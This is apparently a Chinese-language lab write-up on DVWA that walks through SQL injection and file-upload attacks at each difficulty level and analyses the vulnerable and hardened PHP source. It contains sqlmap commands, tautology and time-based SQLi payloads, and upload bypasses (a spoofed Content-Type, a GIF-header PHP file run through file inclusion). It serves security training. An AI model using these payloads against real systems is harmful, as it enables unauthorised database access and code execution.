something about DVWA - SQL Injection

DVWA

DVWA => 备份地址

SQL Injection(sql注入)

Low

  • sqlmap测试

    • 使用burpsuit拦截请求

    • 将请求保存为文本文件

    • 使用sqlmap对已保存的请求做sql注入

      1
      sqlmap -r ./sql.injection/sql.injection.low.txt --level=5 --risk=3 -p id
    • 根据sqlmap结果构造恶意注入

      1
      2
      3
      4
      # %27  => '
      # %3D => =
      # id=1'or'1'='1
      http://train.com/dvwa/vulnerabilities/sqli/?id=1%27or%271%27%3D%271&Submit=Submit#
  • 源码分析

    • 直接从request中获取参数

      1
      2
      // Get input
      $id = $_REQUEST[ 'id' ];
    • 直接将参数拼接入SQL文中查询

      1
      2
      3
      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

Medium

  • sqlmap测试

    • 使用burpsuit拦截请求

    • 将请求保存为文本文件

    • 使用sqlmap对已保存的请求做sql注入

      1
      sqlmap -r ./sql.injection/sql.injection.medium.txt --level=5 --risk=3 -p id --batch
    • 根据sqlmap结果构造恶意注入

      1
      2
      3
      # 构造的恶意`payload`
      # 将`post`参数内容提供为
      id=2 OR NOT 7336=7336
  • 源码分析

    • 直接从request中获取参数

      Low级别相同。

    • 对参数转义特殊字符

      使用mysqli_real_escape_string()函数转义特殊字符。

      1
      $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    • 直接将参数拼接入SQL文中查询

      1
      2
      $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
      // 再进行查询

High

High级别主要是提交请求页面结果渲染页面分离,此举主要为了防止sqlmap等自动化工具测试。 不过sqlmap--second-url=xxx参数,可以用来手动指定结果渲染页面url

  • sqlmap测试

    • 使用burpsuit拦截请求

    • 将请求保存为文本文件

    • 使用sqlmap对已经保存的请求做sql注入

      --second-url参数用于指定响应结果页面url

      1
      sqlmap -r ~/Documents/0pentest/sql.injection/sql.injection.high.txt --second-url="http://train.com/dvwa/vulnerabilities/sqli/"
    • 根据sqlmap结果构造恶意注入

  • 源码分析

    • 提交请求页面与响应结果渲染页面分开

      提交请求页面:

      1
      http://train.com/dvwa/vulnerabilities/sqli/session-input.php

      结果渲染页面:

      1
      http://train.com/dvwa/vulnerabilities/sqli/

      提交请求页面提交请求后会将参数内容放到session中。

    • session中获取参数

      1
      2
      // Get input
      $id = $_SESSION[ 'id' ];
    • 直接将参数拼接入SQL文中查询

      1
      2
      3
      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
      // 再查询
    • 根据sqlmap结果构造恶意注入

      1
      2
      3
      # 构造的恶意`payload`
      # 将`post`参数内容提供为
      id=3' AND (SELECT 4198 FROM (SELECT(SLEEP(5)))Yudr) AND 'Jnep'='Jnep

Impossible

  • 源码分析

    • token中验证身份

      1
      2
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    • request中获取参数

      1
      2
      // Get input
      $id = $_GET[ 'id' ];
    • 判断参数是否为数字

      1
      2
      3
      4
      // Was a number entered?
      if(is_numeric( $id )) {
      // other statements
      }
    • 将参数转为int

      1
      $id = intval ($id);
    • 将参数以PDO的方式预编译进sql中进行查询

      1
      2
      3
      4
      5
      // Check the database
      $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
      $data->bindParam( ':id', $id, PDO::PARAM_INT );
      $data->execute();
      $row = $data->fetch();

something about DVWA - File Upload

DVWA

DVWA => 备份地址

File Upload(文件上传)

Low

  • 手动测试

    • 手动上传恶意文件

      上传bad.php

    • 访问恶意文件

      1
      http://train.com/dvwa/vulnerabilities/upload/../../hackable/uploads/bad.php
  • 源码分析

    • request中获取上传的文件

      1
      2
      3
      // Where are we going to be writing to?
      $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
      $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    • 将文件移动至指定目录

      1
      2
      3
      4
      5
      6
      // Can we move the file to the upload folder?
      if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
      // failure
      } else {
      // success
      }

Medium

  • 手动测试

    • 将恶意文件扩展名更改为.png,上传

    • 使用burpsuite拦截上传请求,将文件扩展名更改回.php

      这样,上传请求的Content-Typeimage/png,文件却为php

  • 源码分析

    • request中获取上传的文件

      Low级别相同。

    • 获取文件上传信息

      1
      2
      3
      4
      // File information
      $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
      $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
      $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    • 判断HTTPContent-Type属性

      1
      2
      3
      4
      5
      // Is it an image?
      if( ( $uploaded_type == "image/jpeg" ||$uploaded_type == "image/png" ) &&
      ( $uploaded_size < 100000 ) ) {
      // yes
      }
    • 将文件移动至指定目录

      Low级别相同。

High

  • 手动测试

    • 将恶意文件扩展名更改为.png,并在文件头处添加文件头信息

      1
      2
      3
      4
      5
      6
      7
      GIF98
      <?php
      // 将文件头设置为`GIF98`

      phpinfo();

      ?>
    • 上传后使用File Inclusion漏洞包含此文件

      1
      2
      # File Inclusion High
      http://train.com/dvwa/vulnerabilities/fi/?page=file://C:\xampp\htdocs\DVWA\hackable\uploads/bad.png
  • 源码分析

    • request中获取上传的文件

      Medium级别相同。

    • 获取HTTPContent-Type;文件信息

      1
      2
      3
      4
      5
      6
      // File information
      $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
      $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
      $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
      $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
      $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    • 判断HTTPContent-Type;文件类型为image;文件头检测

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      // 判断文件扩展名
      // Is it an image?
      if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
      ( $uploaded_size < 100000 ) &&
      ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
      getimagesize( $uploaded_tmp ) ) {

      // getimagesize(file) 限制文件大小,并通过文件头判断文件类型

      }
    • 将文件移动至指定目录

      Medium级别相同。

Impossible

  • 源码分析

    • 使用token验证身份

      1
      2
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    • 获取HTTPContent-Type与文件信息

      High级别相同。

    • 将文件 重命名 后移动至指定目录

      1
      2
      3
      // 使用md5加密文件名
      //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
      $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
      1
      2
      3
      4
      // Can we move the file to the web root from the temp folder?
      if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
      // yes
      }

文件头

  • 常见文件头

    type header
    bmp 424D
    gif GIF98
    jpeg FF D8 FF
    jpg FF D8 FF
    png 89 50 4E 47 0D 0A
    zip 504B0304